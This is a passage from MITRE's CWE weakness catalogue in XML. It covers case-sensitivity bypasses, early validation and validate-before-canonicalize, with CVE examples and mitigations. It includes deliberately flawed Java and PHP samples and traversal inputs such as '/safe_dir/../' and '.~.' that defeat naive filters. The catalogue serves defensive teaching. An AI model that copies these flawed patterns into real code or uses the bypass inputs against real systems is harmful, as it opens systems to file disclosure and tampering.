				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0497</Observed_Example_Reference>
					          <Observed_Example_Description>The server is case sensitive, so filetype handlers
						treat .jsp and .JSP as different extensions. JSP source code may be read
						because .JSP defaults to the filetype "text".
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0498</Observed_Example_Reference>
					          <Observed_Example_Description>The server is case sensitive, so filetype handlers
						treat .jsp and .JSP as different extensions. JSP source code may be read
						because .JSP defaults to the filetype "text".
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0766</Observed_Example_Reference>
					          <Observed_Example_Description>A URL that contains some characters whose case is
						not matched by the server's filters may bypass access restrictions because
						the case-insensitive file system will then handle the request after it
						bypasses the case sensitive filter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0795</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to obtain source
						code of CGI scripts via URLs that contain MS-DOS conventions such as (1)
						upper case letters or (2) 8.3 file names. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1238</Observed_Example_Reference>
					          <Observed_Example_Description>Task Manager does not allow local users to end
						processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3)
						smss.exe and (4) services.exe via the Process tab which could allow local
						users to install Trojan horses that cannot be
						stopped.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0411</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Code was ported from a case-sensitive Unix
						platform to a case-insensitive Windows platform where filetype handlers
						treat .jsp and .JSP as different extensions. JSP source code may be read
						because .JSP defaults to the filetype "text".
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0485</Observed_Example_Reference>
					          <Observed_Example_Description>Leads to interpretation
						error</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0239</Observed_Example_Reference>
					          <Observed_Example_Description>Directories may be listed because lower case web
						requests are not properly handled by the server.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0269</Observed_Example_Reference>
					          <Observed_Example_Description>File extension check in forum software only
						verifies extensions that contain all lowercase letters, which allows remote
						attackers to upload arbitrary files via file extensions that include
						uppercase letters. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1083</Observed_Example_Reference>
					          <Observed_Example_Description>Web server restricts access to files in a case
						sensitive manner, but the filesystem accesses files in a case insensitive
						manner, which allows remote attackers to read privileged files using
						alternate capitalization. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2119</Observed_Example_Reference>
					          <Observed_Example_Description>Case insensitive passwords lead to search space
						reduction.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2214</Observed_Example_Reference>
					          <Observed_Example_Description>HTTP server allows bypass of access restrictions
						using URIs with mixed case.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2154</Observed_Example_Reference>
					          <Observed_Example_Description>Mixed upper/lowercase allows bypass of
						ACLs.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4509</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass malicious script detection by using tokens
						that aren't case sensitive.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1820</Observed_Example_Reference>
					          <Observed_Example_Description>Mixed case problem allows "admin" to have "Admin"
						rights (alternate name property).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3365</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: uppercase file extensions causes web server
						to return script source code instead of executing the
						script.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>File Processing, Credentials</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>These are probably under-studied in Windows and Mac environments, where
						file names are case-insensitive and thus are subject to equivalence
						manipulations involving case.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Case Sensitivity (lowercase, uppercase, mixed
						case)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Case Sensitivity (Lowercase,
						Uppercase, Mixed Case)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Resolve Case
						Sensitivity</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="179" Name="Incorrect Behavior Order: Early Validation" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software validates input before applying protection
					mechanisms that modify the input, which could allow an attacker to bypass the
					validation via dangerous inputs that only arise after the
					modification.</Description_Summary>
				        <Extended_Description>
					          <Text>Software needs to validate data at the proper time, after data has been
						canonicalized and cleansed. Early validation is susceptible to various
						manipulations that result in dangerous inputs that are produced by
						canonicalization and cleansing.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>696</Relationship_Target_ID>
					          <!--Incorrect Behavior Order-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Since early validation errors usually arise from improperly implemented
						defensive mechanisms, it is likely that these will be introduced more
						frequently as secure programming becomes implemented more widely.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could include dangerous input that bypasses validation
							protection mechanisms which can be used to launch various attacks
							including injection attacks, execute arbitrary code or cause other
							unintended behavior.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-35">
					          <Intro_Text>The following code attempts to validate a given input path by
						checking it against a whitelist and then return the canonical path. In this
						specific case, the path is considered valid if it starts with the string
						"/safe_dir/".</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String path = getInputPath();</Code>
							              <Code>if (path.startsWith("/safe_dir/"))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>File f = new File(path);</Code>
								                <Code>return f.getCanonicalPath();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The problem with the above code is that the validation step occurs
							before canonicalization occurs. An attacker could provide an input path
							of "/safe_dir/../" that would pass the validation step. However, the
							canonicalization process sees the double dot as a traversal to the
							parent directory and hence when canonicized the path would become just
							"/".</Text>
						            <Text>To avoid this problem, validation should occur after canonicalization
							takes place. In this case canonicalization occurs during the
							initialization of the File object. The code below fixes the
							issue.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String path = getInputPath();</Code>
							              <Code>File f = new File(path);</Code>
							              <Code>if (f.getCanonicalPath().startsWith("/safe_dir/"))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>return f.getCanonicalPath();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code/>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-36">
					          <Intro_Text> This script creates a subdirectory within a user directory and sets
						the user as the owner. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function createDir($userName,$dirName){</Code>
							              <Block>
								                <Code>$userDir = '/users/'. $userName;</Code>
								                <Code>if(strpos($dirName,'..') !== false){</Code>
								                <Block>
									                  <Code>echo 'Directory name contains invalid sequence';</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>//filter out '~' because other scripts identify user
									directories by this prefix</Comment>
								                <Code>$dirName = str_replace('~','',$dirName);</Code>
								                <Code>$newDir = $userDir . $dirName;</Code>
								                <Code>mkdir($newDir, 0700);</Code>
								                <Code>chown($newDir,$userName);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the script attempts to screen for '..' sequences, an attacker
							can submit a directory path including ".~.", which will then become ".."
							after the filtering step. This allows a Path Traversal (CWE-21) attack
							to occur.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0433</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows remote attackers to view
						restricted files via an HTTP request containing a "*" (wildcard or asterisk)
						character. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0332</Observed_Example_Reference>
					          <Observed_Example_Description> Product modifies the first two letters of a
						filename extension after performing a security check, which allows remote
						attackers to bypass authentication via a filename with a .ats extension
						instead of a .hts extension. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0802</Observed_Example_Reference>
					          <Observed_Example_Description> Database consumes an extra character when
						processing a character that cannot be converted, which could remove an
						escape character from the query and make the application subject to SQL
						injection attacks. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0191</Observed_Example_Reference>
					          <Observed_Example_Description>Overlaps
						"fakechild/../realchild"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2363</Observed_Example_Reference>
					          <Observed_Example_Description>Product checks URI for "&lt;" and other literal
						characters, but does it before hex decoding the URI, so "%3E" and other
						sequences are allowed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0934</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability allows remote
						attackers to read or modify arbitrary files via invalid characters between
						two . (dot) characters, which are filtered and result in a ".." sequence.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0282</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability allows
						attackers to overwrite arbitrary files via invalid characters between two .
						(dot) characters, which are filtered and result in a ".." sequence.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>These errors are mostly reported in path traversal vulnerabilities, but
						the concept applies whenever validation occurs.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Escaping Metacharacters", Page
						439.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Early Validation Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Early Validation
						Errors</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="180" Name="Incorrect Behavior Order: Validate Before Canonicalize" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software validates input before it is canonicalized, which
					prevents the software from detecting data that becomes invalid after the
					canonicalization step.</Description_Summary>
				        <Extended_Description>
					          <Text>This can be used by an attacker to bypass the validation and launch
						attacks that expose weaknesses that would otherwise be prevented, such as
						injection.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>179</Relationship_Target_ID>
					          <!--Incorrect Behavior Order: Early Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This overlaps other categories.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-35">
					          <Intro_Text>The following code attempts to validate a given input path by
						checking it against a whitelist and then return the canonical path. In this
						specific case, the path is considered valid if it starts with the string
						"/safe_dir/".</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String path = getInputPath();</Code>
							              <Code>if (path.startsWith("/safe_dir/"))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>File f = new File(path);</Code>
								                <Code>return f.getCanonicalPath();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The problem with the above code is that the validation step occurs
							before canonicalization occurs. An attacker could provide an input path
							of "/safe_dir/../" that would pass the validation step. However, the
							canonicalization process sees the double dot as a traversal to the
							parent directory and hence when canonicized the path would become just
							"/".</Text>
						            <Text>To avoid this problem, validation should occur after canonicalization
							takes place. In this case canonicalization occurs during the
							initialization of the File object. The code below fixes the
							issue.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String path = getInputPath();</Code>
							              <Code>File f = new File(path);</Code>
							              <Code>if (f.getCanonicalPath().startsWith("/safe_dir/"))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>return f.getCanonicalPath();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code/>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0433</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows remote attackers to view
						restricted files via an HTTP request containing a "*" (wildcard or asterisk)
						character. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0332</Observed_Example_Reference>
					          <Observed_Example_Description> Product modifies the first two letters of a
						filename extension after performing a security check, which allows remote
						attackers to bypass authentication via a filename with a .ats extension
						instead of a .hts extension. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0802</Observed_Example_Reference>
					          <Observed_Example_Description> Database consumes an extra character when
						processing a character that cannot be converted, which could remove an
						escape character from the query and make the application subject to SQL
						injection attacks. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0191</Observed_Example_Reference>
					          <Observed_Example_Description>Overlaps
						"fakechild/../realchild"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2363</Observed_Example_Reference>
					          <Observed_Example_Description>Product checks URI for "&lt;" and other literal
						characters, but does it before hex decoding the URI, so "%3E" and other
						sequences are allowed.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
			      </Functional_Areas>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Validate-Before-Canonicalize</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Normalize strings before validating them</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>4</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
